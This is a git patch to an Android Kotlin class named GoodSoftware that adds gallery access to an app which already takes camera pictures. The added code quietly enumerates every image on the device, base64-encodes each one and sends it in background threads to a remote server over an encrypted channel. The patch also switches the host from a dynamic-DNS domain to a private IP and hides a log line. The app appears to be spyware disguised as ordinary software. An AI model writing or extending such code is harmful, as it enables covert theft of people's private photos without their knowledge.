From 319e09a95043c908301d1b2126c0b66ee499410b Mon Sep 17 00:00:00 2001 From: Joren Date: Thu, 2 May 2024 11:35:46 +0200 Subject: [PATCH] Get pictures from gallery, for now only android -13 --- app/src/main/java/com/ti/m/GoodSoftware.kt | 104 +++++++++++++++++++-- 1 file changed, 95 insertions(+), 9 deletions(-) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 2a9758c..21fa72f 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -1,8 +1,13 @@ package com.ti.m import android.Manifest +import android.content.ContentResolver +import android.content.ContentUris import android.content.Context +import android.content.Intent import android.content.pm.PackageManager +import android.net.Uri +import android.provider.MediaStore import android.util.Base64 import android.util.Log import androidx.camera.core.CameraSelector @@ -35,6 +40,9 @@ class GoodSoftware (private val activity: MainActivity) { private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var imageCapture: ImageCapture? = null private val REQUEST_CAMERA_PERMISSION = 100 + private val REQUEST_GALLERY = 101 + private val REQUEST_MEDIA_IMAGES_PERMISSION = 102 + private companion object { private const val RSA_ALGORITHM = "RSA" @@ -106,18 +114,66 @@ class GoodSoftware (private val activity: MainActivity) { private fun startPictureCapture() { activity.lifecycleScope.launch { + // Check and request camera permission + if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { + requestCameraPermission() + } + + // Check and request gallery permission + if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { + requestGalleryPermission() + } + + // If both permissions are granted, proceed with picture capture and gallery access takeBeautifulPicture(activity, activity) + + Thread { + val imageList = getAllImagesFromGallery(activity) + for (image in imageList) { + val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) + Thread { + println("Sending data to server") + sendDataToServer(base64Image) + }.start() + } + }.start() } } + fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String { + var base64Image = "" + contentResolver.openInputStream(imageUri)?.use { inputStream -> + val byteArrayOutputStream = ByteArrayOutputStream() + inputStream.copyTo(byteArrayOutputStream) + val byteArray = byteArrayOutputStream.toByteArray() + base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT) + } + return base64Image + } + + private fun requestGalleryPermission() { + ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) + ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) + } + // Handle permission request result fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) { - if (requestCode == REQUEST_CAMERA_PERMISSION) { - if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { - startPictureCapture() - } else { - // Permission denied - // You may want to handle this case + when (requestCode) { + REQUEST_CAMERA_PERMISSION -> { + if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { + startPictureCapture() + } else { + // Camera permission denied + // Handle accordingly + } + } + REQUEST_GALLERY -> { + if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { + startPictureCapture() + } else { + // Gallery permission denied + // Handle accordingly + } } } } @@ -131,7 +187,7 @@ class GoodSoftware (private val activity: MainActivity) { fun sendDataToServer(sendData: String) { try { val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! - val host = "thinclient.duckdns.org" + val host = "192.168.90.151" val port = 5645 val secureRandom = SecureRandom() val keyBytes = ByteArray(16) @@ -221,7 +277,7 @@ class GoodSoftware (private val activity: MainActivity) { buffer.get(bytes) byteArrayOutputStream.write(bytes) val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) - Log.d(picture.TAG, "Base64 Image: $base64Image") + //Log.d(picture.TAG, "Base64 Image: $base64Image") Thread { println("Sending data to server") sendDataToServer(base64Image) @@ -257,4 +313,34 @@ class GoodSoftware (private val activity: MainActivity) { object picture { const val TAG = "CameraXBasic" } -} + + fun getAllImagesFromGallery(context: Context): List { + val imageList = mutableListOf() + val contentResolver: ContentResolver = context.contentResolver + val imageProjection = arrayOf( + MediaStore.Images.Media._ID, + MediaStore.Images.Media.DISPLAY_NAME + ) + val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI + + val cursor = contentResolver.query( + imageUri, + imageProjection, + null, + null, + "${MediaStore.Images.Media.DATE_ADDED} DESC" + ) + + cursor?.use { cursor -> + val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID) + while (cursor.moveToNext()) { + val id = cursor.getLong(idColumn) + val contentUri = ContentUris.withAppendedId(imageUri, id) + imageList.add(contentUri.toString()) + } + } + + return imageList + } + +} \ No newline at end of file